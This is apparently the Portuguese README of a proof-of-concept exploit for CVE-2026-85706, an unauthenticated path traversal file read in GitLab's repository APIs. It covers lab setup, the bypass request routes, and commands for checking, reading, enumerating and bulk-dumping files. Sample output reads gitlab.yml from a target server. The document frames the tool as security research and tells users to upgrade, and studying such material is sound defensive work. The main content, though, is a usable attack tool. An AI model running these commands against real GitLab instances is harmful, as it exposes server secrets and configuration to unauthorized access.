Prova de conceito e laboratório de reprodução para CVE-2026-85706, uma leitura de arquivo por path traversal não autenticada nas APIs de commits e arquivos de repositório do GitLab CE/EE.
CVE-2026-85706 é uma vulnerabilidade crítica de path traversal / ausência de autenticação nas APIs
Repository Commits e Repository Files do GitLab CE/EE: um atacante não autenticado pode fazer o servidor ler
arquivos arbitrários e obter seu conteúdo através do canal de erro. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
O título oficial do GitLab é "Path Traversal issue in repository commits API impacts GitLab CE/EE". A correção foi lançada em 2026-09-10 nas versões 19.3.2 / 19.2.6 / 19.1.8.
[!IMPORTANT] Usa um GitLab self-managed <= 19.3.1? Atualiza para 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] Apenas uso autorizado. Executa esta ferramenta apenas contra sistemas que te pertencem ou que tens permissão explícita para testar.
Este repositório contém uma prova de conceito independente, um laboratório de reprodução mínimo e uma análise técnica completa:
Não estão incluídos dados capturados de qualquer sistema de terceiros.
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
O laboratório escuta apenas em 127.0.0.1 e lê apenas dentro do seu sandbox lab/vault/, pelo que nunca pode tocar
em arquivos na tua máquina real.
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
Adiciona --insecure para certificados autoassinados, e prefere o id numérico do projeto em vez de um caminho
codificado (--project <id> em vez de group%2Fproject).
| Comando | Propósito | Opções principais |
|---|---|---|
check | O alvo é vulnerável? Compara as respostas de todos os vetores de bypass | --canary-path, --no-bypass-probe |
read | Lê um arquivo e reporta se o seu conteúdo é divulgado | --file <path>, --media <type> |
enum | Sonda uma lista de caminhos e classifica cada um | --wordlist, --wordlist-file |
dump | Guarda todos os arquivos legíveis em disco, com um manifesto e as respostas em bruto | --files, --files-file, --outdir |
As etiquetas impressas por check:
| Etiqueta | Caminho do pedido |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - o alvo é vulnerável?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Códigos de saída: 0 = vulnerável; 1 = não explorável com os vetores testados (corrigido, ou a rota inacessível).
Dois detalhes que vale a pena conhecer:
Workhorse bypass probe é a prova de encaminhamento: file só existe quando o Workhorse fez buffer e
assinou o corpo, pelo que um 400 {"error":"file is missing"} prova que a rota de bypass ignorou esse pipeline
enquanto ainda alcançava a API. Numa build corrigida, essa última linha mostra HTTP 401.commits-canonical -> 401) é o caso de controlo: aí o Workhorse reescreve
file.path, pelo que o valor do atacante nunca chega ao código vulnerável.read - ler um único arquivo$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Códigos de saída: 0 = conteúdo divulgado, ou uma leitura pré-autenticação confirmada pela linha de base; 1 = nenhuma leitura pré-autenticação observada.
enum / dump - sondagem em massapython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt inclui 45 caminhos interessantes de GitLab/Linux; --wordlist / --files podem ser fornecidos inline ou
via arquivo, e ambas as formas podem ser combinadas. Estes são os únicos dois subcomandos que tocam conteúdos reais de
arquivos - escreve a saída fora deste repositório e nunca publiques o que eles capturam.
| Opção | Significado |
|---|---|
--url <base URL> | URL base do alvo (obrigatório) |
--project <id or encoded path> | Id de projeto público (123) ou caminho codificado em URL (group%2Fproject), obrigatório |
--token <PRIVATE-TOKEN> | Opcional; testa o caminho autenticado |
--insecure | Ignora a verificação TLS (certificados autoassinados) |
-v, --verbose | Imprime cada pedido/resposta para stderr |
--canary-path <path> | Caminho garantidamente inexistente usado como linha de base da vulnerabilidade |
--color <mode> | auto (predefinido, cores num terminal real), always, never |
A ordem das opções importa: as opções partilhadas vão depois do subcomando - check --url ... --insecure, não
--url ... check.
| Teste | Resultado |
|---|---|
Controlo corrigido - gitlab.com, 19.3.2+ | Todos os vetores devolvem 401; a única outra resposta é o 400 {"error":"file is missing"} que prova o bypass de encaminhamento |
Laboratório local - lab/vulnerable_api.py | Reproduz o bug de confiança do lado do Rails de ponta a ponta; --patched fornece a build de comparação |
| Instância self-managed real - 19.3.1, autorização escrita | Confirmado vulnerável; os detalhes do host e do projeto não são deliberadamente publicados aqui. Resultados agregados em ANALYSIS.md, secção 4.3 |
Este material é fornecido para investigação de segurança e testes autorizados - o teu próprio laboratório, um programa de bug bounty, ou um teste de penetração com permissão escrita. Usa-o apenas contra sistemas que te pertencem ou que tens explicitamente permissão para testar. O acesso não autorizado a sistemas de terceiros é ilegal. Fornecido tal como está, sem garantia de qualquer tipo.